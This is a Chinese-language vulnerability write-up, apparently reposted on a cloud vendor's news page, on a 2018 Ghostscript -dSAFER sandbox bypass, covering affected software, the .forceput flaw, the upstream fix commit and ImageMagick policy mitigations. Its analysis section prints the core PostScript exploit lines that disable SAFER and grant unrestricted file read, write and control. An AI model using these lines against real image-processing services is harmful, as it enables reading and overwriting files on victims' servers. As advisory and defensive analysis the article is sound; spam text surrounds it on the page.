91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

ghostscript任意文件讀寫漏洞的示例分析

發布時間:2021-12-16 10:25:51 來源:億速云 閱讀:160 作者:小新 欄目:大數據

這篇文章主要為大家展示了“ghostscript任意文件讀寫漏洞的示例分析”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“ghostscript任意文件讀寫漏洞的示例分析”這篇文章吧。

0x00 漏洞背景

10 月 9號,Tavis Ormandy 通過公開郵件列表

(hxxps://bugs.chromium[.]org/p/project-zero/issues/detail?id=1682),

再次指出 ghostscript 的安全沙箱可以被繞過,通過構造惡意的圖片內容,可造成任意文件讀寫。

ghostscript應用廣泛,ImageMagick、python-matplotlib、libmagick 等圖像處理應用均有引用。

在ghostscript中由于以往的安全事件,針對安全問題gs官方采用增加參數-dSAFER來開啟安全沙箱,此次Taviso發現通過特殊的命令組使得.forceput留存于stack,通過再注冊該命令進行forceput命令的利用,引發任意讀寫漏洞。

0x01 漏洞影響

version <= 9.26

(702f6982b63fca353d9106d2dbb6bb21f826c2e6) 

之前的版本

官方已給出緩解措施

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94

但尚無release版本發布

漏洞導致所有引用ghostscript的上游應用受到影響。 常見應用如下:

  • imagemagick

  • libmagick

  • graphicsmagick

  • gimp

  • python-matplotlib

  • texlive-core

  • texmacs

  • latex2html

  • latex2rtf

0x02 漏洞分析

<dict> <key> <value> .forceput -
Equivalent to put, but works even if dict is not writable,
and (if dict is systemdict or the current save level is 0)
even if dict is in global VM and key and/or value is in local VM.
This operator should be used only initialization code,
and only in executeonly procedures: it must not be accessible after initialization.

官方對.forceput的使用介紹,能夠強制更新dict中的值。

這次的漏洞主要原因也就是在觸發錯誤的時候由于構造出.forceput留存在棧中,然后被注冊成命令forceput進而對systemdict進行修改。

最終達到bypass safer以及開啟文件讀寫權限等操作。

核心過程分析首先利用如下命令訪問switch_to_normal_marking_ops

/pdfopdict null def

GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped

觸發異常后的棧情況

ghostscript任意文件讀寫漏洞的示例分析
利用如下命令將.forceput 注冊成forceput

/forceput $error /command get def

然后即可通過如下正常命令對systemdict進行修改

systemdict /SAFER false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
commit a54c9e61e7d02bbc620bcba9b1c208462a876afb (HEAD)
Author: Chris Liddell <chris.liddell@artifex.com>
Date:   Sat Sep 29 15:34:55 2018 +0100
Bug 699816: Improve hiding of security critical custom operators

   Make procedures that use .forceput/.forcedef/.forceundef into operators.

   The result of this is that errors get reported against the "top" operator,
   rather than the "called" operator within the procedure.

   For example:
   /myproc
   {
     myop
   } bind def

   If 'myop' throws an error, the error handler will be passed the 'myop'
   operator. Promoting 'myproc' to a operator means the error handler will be
   passed 'myproc'.

在這次更新中對該問題進行了修復

ghostscript任意文件讀寫漏洞的示例分析

在注冊的時候都以odef注冊成特殊的運算符使其無法被利用

0x03 利用效果

在9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6)依舊work

ghostscript任意文件讀寫漏洞的示例分析

ghostscript任意文件讀寫漏洞的示例分析

php ImageMagick demo

ghostscript任意文件讀寫漏洞的示例分析

ghostscript任意文件讀寫漏洞的示例分析

0x04 緩解措施

目前官方已給出緩解措施,建議更新ghostscript。

至少需要到

(a54c9e61e7d02bbc620bcba9b1c208462a876afb)

之后的版本

若無法更新可先嘗試禁用使用gs解析ps文件

使用ImageMagick,建議修改policy文件(默認位置:/etc/ImageMagick/policy.xml),在中加入以下<policy>

(即禁用 PS、EPS、PDF、XPS coders):

<policymap>
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
</policymap>

以上是“ghostscript任意文件讀寫漏洞的示例分析”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

连城县| 大荔县| 石泉县| 武穴市| 和林格尔县| 濮阳市| 辽阳县| 孟津县| 长葛市| 米脂县| 平顺县| 会昌县| 沭阳县| 巴彦县| 河曲县| 榆树市| 喀什市| 沙田区| 宕昌县| 会东县| 成都市| 罗源县| 乌兰县| 德昌县| 秭归县| 临安市| 涡阳县| 台东市| 东平县| 湾仔区| 杨浦区| 碌曲县| 漳平市| 亚东县| 大宁县| 林芝县| 台北县| 富锦市| 淅川县| 马公市| 买车|